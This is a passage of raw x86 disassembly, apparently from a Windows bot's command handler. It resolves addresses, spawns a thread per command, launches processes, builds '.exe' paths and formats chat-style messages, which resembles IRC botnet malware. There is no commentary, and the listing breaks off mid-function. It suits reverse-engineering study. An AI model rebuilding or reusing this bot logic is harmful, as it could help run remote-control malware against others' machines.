		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		cmp	byte_446E28[eax], bl
		jz	loc_415956
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		call	sub_417AF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_417AF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417980
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436930
		push	eax
		call	sub_4173AC
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_415956
		push	edi
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DC10
		push	edi
		call	sub_41791F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_446C10[eax], 73h
		jnz	loc_415956
		push	esi
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_446E28
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_412C3A:				; CODE XREF: sub_40F6F1+3643j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		jmp	loc_415953
; ---------------------------------------------------------------------------


loc_412C64:				; CODE XREF: sub_40F6F1+2844j
					; sub_40F6F1+285Bj
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		cmp	byte_446E28[eax], bl
		jz	loc_415956
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		call	sub_417AF0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AF0
		push	[ebp+arg_18]
		add	esi, eax
		call	sub_417AF0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417980
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_415956
		push	edi
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DC10
		push	edi
		call	sub_41791F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_446C10[eax], 73h
		jnz	loc_415956
		push	esi
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_446E28
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_412C3A
; ---------------------------------------------------------------------------


loc_412D39:				; CODE XREF: sub_40F6F1+2816j
					; sub_40F6F1+282Dj
		push	edi
		call	dword_4413F8	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41791F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41791F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_4182F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4368C4
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset dword_416410
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_412E1B


loc_412E05:				; CODE XREF: sub_40F6F1+3728j
		cmp	[ebp+var_464], ebx
		jnz	loc_412F2C
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_412E05
; ---------------------------------------------------------------------------


loc_412E1B:				; CODE XREF: sub_40F6F1+3712j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_436878
		jmp	loc_412F1D
; ---------------------------------------------------------------------------


loc_412E2C:				; CODE XREF: sub_40F6F1+27E8j
					; sub_40F6F1+27FFj
		push	edi
		call	sub_41791F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4182F0
		push	[ebp+arg_0]
		call	sub_41791F
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	80h
		push	eax
		mov	[ebp+var_420], esi
		call	sub_41792A
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43682C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416E58
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407B45
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_412F11


loc_412EFF:				; CODE XREF: sub_40F6F1+381Ej
		cmp	[ebp+var_300], ebx
		jnz	short loc_412F2C
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_412EFF
; ---------------------------------------------------------------------------


loc_412F11:				; CODE XREF: sub_40F6F1+380Cj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_4367D8


loc_412F1D:				; CODE XREF: sub_40F6F1+3736j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_412F2C:				; CODE XREF: sub_40F6F1+371Aj
					; sub_40F6F1+3814j
		cmp	[ebp+var_8], ebx
		jnz	loc_4157D0
		push	ebx
		push	edi
		jmp	loc_4127E0
; ---------------------------------------------------------------------------


loc_412F3C:				; CODE XREF: sub_40F6F1+27BAj
					; sub_40F6F1+27D1j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_4182F0


loc_412F4E:				; DATA XREF: ___:off_42D544o
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_4182F0
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41791F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_412F98
		push	10h
		push	ebx
		push	eax
		call	sub_417FB5
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412F9E
; ---------------------------------------------------------------------------


loc_412F98:				; CODE XREF: sub_40F6F1+3891j
		mov	[ebp+var_570], ebx


loc_412F9E:				; CODE XREF: sub_40F6F1+38A5j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412FB5
		push	esi
		call	sub_41791F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412FBB
; ---------------------------------------------------------------------------


loc_412FB5:				; CODE XREF: sub_40F6F1+38B3j
		mov	[ebp+var_574], ebx


loc_412FBB:				; CODE XREF: sub_40F6F1+38C2j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_43679C
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416E58
		add	esp, 28h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40D091
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_413069


loc_413053:				; CODE XREF: sub_40F6F1+3976j
		cmp	[ebp+var_560], ebx
		jnz	loc_4127D3
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_413069:				; CODE XREF: sub_40F6F1+3960j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_43674C
		jmp	loc_4127C4
; ---------------------------------------------------------------------------


loc_41307A:				; CODE XREF: sub_40F6F1+278Cj
					; sub_40F6F1+27A3j
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_436710
		push	eax
		mov	[ebp+var_770], esi
		call	sub_4173AC
		add	esp, 44h
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	0Bh
		push	eax
		call	sub_416E58
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D1
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_413151


loc_41313B:				; CODE XREF: sub_40F6F1+3A5Ej
		cmp	[ebp+var_560], ebx
		jnz	loc_4127D3
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_41313B
; ---------------------------------------------------------------------------


loc_413151:				; CODE XREF: sub_40F6F1+3A48j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_4366C8
		jmp	loc_4127C4
; ---------------------------------------------------------------------------


loc_413162:				; CODE XREF: sub_40F6F1+2747j
					; sub_40F6F1+275Ej ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_4182F0
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436688
		push	eax
		mov	[ebp+var_7F0], esi
		call	sub_4173AC
		add	esp, 50h
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	0Ah
		push	eax
		call	sub_416E58
		add	esp, 0Ch
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_41324A


loc_413234:				; CODE XREF: sub_40F6F1+3B57j
		cmp	[ebp+var_560], ebx
		jnz	loc_4127D3
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_413234
; ---------------------------------------------------------------------------


loc_41324A:				; CODE XREF: sub_40F6F1+3B41j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_436640
		jmp	loc_4127C4
; ---------------------------------------------------------------------------


loc_41325B:				; CODE XREF: sub_40F6F1+2719j
					; sub_40F6F1+2730j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_4182F0
		push	[ebp+arg_18]
		call	sub_41791F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_4182F0
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4132A9
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_4132A9:				; CODE XREF: sub_40F6F1+3BA4j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436600
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40F326
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_413335


loc_41331F:				; CODE XREF: sub_40F6F1+3C42j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_41455C
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_41331F
; ---------------------------------------------------------------------------


loc_413335:				; CODE XREF: sub_40F6F1+3C2Cj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_4365B8
		jmp	loc_4121DF
; ---------------------------------------------------------------------------


loc_413346:				; CODE XREF: sub_40F6F1+26D9j
					; sub_40F6F1+26F0j
		push	[ebp+arg_18]
		call	sub_41791F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_413437
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41792A
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		push	edi
		push	offset unk_43657C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416E58
		add	esp, 38h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_413426


loc_413410:				; CODE XREF: sub_40F6F1+3D33j
		cmp	[ebp+var_560], ebx
		jnz	loc_412267
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_413410
; ---------------------------------------------------------------------------


loc_413426:				; CODE XREF: sub_40F6F1+3D1Dj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_436534
		jmp	loc_412258
; ---------------------------------------------------------------------------


loc_413437:				; CODE XREF: sub_40F6F1+3C66j
		push	offset unk_4364EC
		jmp	loc_412573
; ---------------------------------------------------------------------------


loc_413441:				; CODE XREF: sub_40F6F1+26ABj
					; sub_40F6F1+26C2j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 7C835E8Fh
		test	eax, eax
		jz	short loc_413471
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_4364B8
		push	200h
		push	eax
		call	sub_41792A


loc_413469:				; CODE XREF: sub_40F6F1+4598j
		add	esp, 14h
		jmp	loc_412267
; ---------------------------------------------------------------------------


loc_413471:				; CODE XREF: sub_40F6F1+3D5Cj
		push	offset dword_43649C
		call	sub_40A9AA
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		jmp	loc_412267
; ---------------------------------------------------------------------------


loc_413495:				; CODE XREF: sub_40F6F1+267Dj
					; sub_40F6F1+2694j
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4134CF
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4134CF
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4134CF:				; CODE XREF: sub_40F6F1+3DBCj
					; sub_40F6F1+3DCDj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_43645C
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416E58
		add	esp, 2Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408D42
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_413582


loc_41356C:				; CODE XREF: sub_40F6F1+3E8Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4157D0
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_41356C
; ---------------------------------------------------------------------------


loc_413582:				; CODE XREF: sub_40F6F1+3E79j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_436410
		jmp	loc_4157C1
; ---------------------------------------------------------------------------


loc_413593:				; CODE XREF: sub_40F6F1+264Fj
					; sub_40F6F1+2666j
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417430
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41791F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4135D0
		mov	word ptr [ebp+var_470],	5


loc_4135D0:				; CODE XREF: sub_40F6F1+3ED4j
		cmp	[ebp+var_C], ebx
		jz	loc_41455C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_41455C
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 7C802367h
		test	eax, eax
		jnz	short loc_41361B
		push	offset unk_4363DC
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_41361B:				; CODE XREF: sub_40F6F1+3F1Ej
		push	edi
		push	offset dword_4363B4
		jmp	loc_4121DF
; ---------------------------------------------------------------------------


loc_413626:				; CODE XREF: sub_40F6F1+2621j
					; sub_40F6F1+2638j
		push	[ebp+arg_18]
		push	offset aArra	; "arra"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41379D
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		nop
		call	near ptr 7C835DCAh
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_2F8]
		push	eax
		push	[ebp+arg_4]
		call	sub_415F85
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4173AC
		mov	eax, [ebp+esi+var_88]
		add	esp, 24h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_4136BB
		push	10h
		push	ebx
		push	eax
		call	sub_417FB5
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4136C1
; ---------------------------------------------------------------------------


loc_4136BB:				; CODE XREF: sub_40F6F1+3FB4j
		mov	[ebp+var_570], ebx


loc_4136C1:				; CODE XREF: sub_40F6F1+3FC8j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_4136DB
		push	esi
		call	sub_41791F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_4136E1
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_40F6F1+3FD9j
		mov	[ebp+var_574], ebx


loc_4136E1:				; CODE XREF: sub_40F6F1+3FE8j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43636C
		push	eax
		call	sub_4173AC
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416E58
		add	esp, 24h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40D091
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_41378C


loc_413776:				; CODE XREF: sub_40F6F1+4099j
		cmp	[ebp+var_560], ebx
		jnz	loc_41455C
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_413776
; ---------------------------------------------------------------------------


loc_41378C:				; CODE XREF: sub_40F6F1+4083j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_436320
		jmp	loc_4121DF
; ---------------------------------------------------------------------------


loc_41379D:				; CODE XREF: sub_40F6F1+3F46j
		push	offset unk_4362CC
		jmp	loc_41454E
; ---------------------------------------------------------------------------


loc_4137A7:				; CODE XREF: sub_40F6F1+25F3j
					; sub_40F6F1+260Aj
		push	[ebp+var_90]
		push	offset dword_438134
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAB8
		cmp	[ebp+var_C], ebx
		jz	loc_40FAB8
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4362BC
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_4182F0
		push	edi
		call	sub_41791F
		add	esp, 30h
		test	eax, eax
		jle	short loc_41382E
		push	edi
		call	sub_41791F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 7C802442h


loc_41382E:				; CODE XREF: sub_40F6F1+4127j
		push	offset dword_436298
		call	sub_40C4F7
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_413842:				; CODE XREF: sub_40F6F1+25C5j
					; sub_40F6F1+25DCj
		push	[ebp+var_90]
		push	offset dword_438134
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAB8
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4177D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_4138FE
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_4362BC
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436268
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		push	edi
		call	sub_41791F
		add	esp, 38h
		test	eax, eax
		jle	loc_415956
		push	edi
		call	sub_41791F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40FABB
; ---------------------------------------------------------------------------


loc_4138FE:				; CODE XREF: sub_40F6F1+4196j
		push	offset dword_436224
		jmp	loc_4121DF
; ---------------------------------------------------------------------------


loc_413908:				; CODE XREF: sub_40F6F1+2597j
					; sub_40F6F1+25AEj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_43621C
		push	eax
		call	sub_4173AC
		push	edi
		call	sub_41791F
		add	esp, 10h


loc_413925:				; CODE XREF: sub_40F6F1+429Ej
		test	eax, eax
		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956


loc_41393F:				; CODE XREF: sub_40F6F1+4F51j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_425A78
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DBCA


loc_413963:				; CODE XREF: sub_40F6F1+5E7Cj
		add	esp, 0Ch
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_41396B:				; CODE XREF: sub_40F6F1+2569j
					; sub_40F6F1+2580j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_436210
		push	eax
		call	sub_4173AC
		push	edi
		call	sub_41791F
		add	esp, 14h
		jmp	short loc_413925
; ---------------------------------------------------------------------------


loc_413991:				; CODE XREF: sub_40F6F1+253Bj
					; sub_40F6F1+2552j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436208
		push	eax
		call	sub_4173AC
		push	edi
		call	sub_41791F
		add	esp, 10h
		test	eax, eax
		jle	loc_415956
		push	edi
		call	sub_41791F
		cmp	eax, 5DCh
		pop	ecx
		jge	loc_415956
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_425A78
		push	edi
		call	sub_41791F
		imul	eax, 234h
		pop	ecx
		push	dword_446E1C[eax]
		call	sub_40DBCA
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4361DC


loc_4139F5:				; CODE XREF: sub_40F6F1+438Ej
					; sub_40F6F1+43F9j ...
		call	sub_40C56B


loc_4139FA:				; CODE XREF: sub_40F6F1+5B64j
		add	esp, 18h
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_413A02:				; CODE XREF: sub_40F6F1+250Dj
					; sub_40F6F1+2524j
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_413A33
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361D4
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_413A33:				; CODE XREF: sub_40F6F1+432Bj
		push	edi
		call	sub_41791F
		test	eax, eax
		pop	ecx
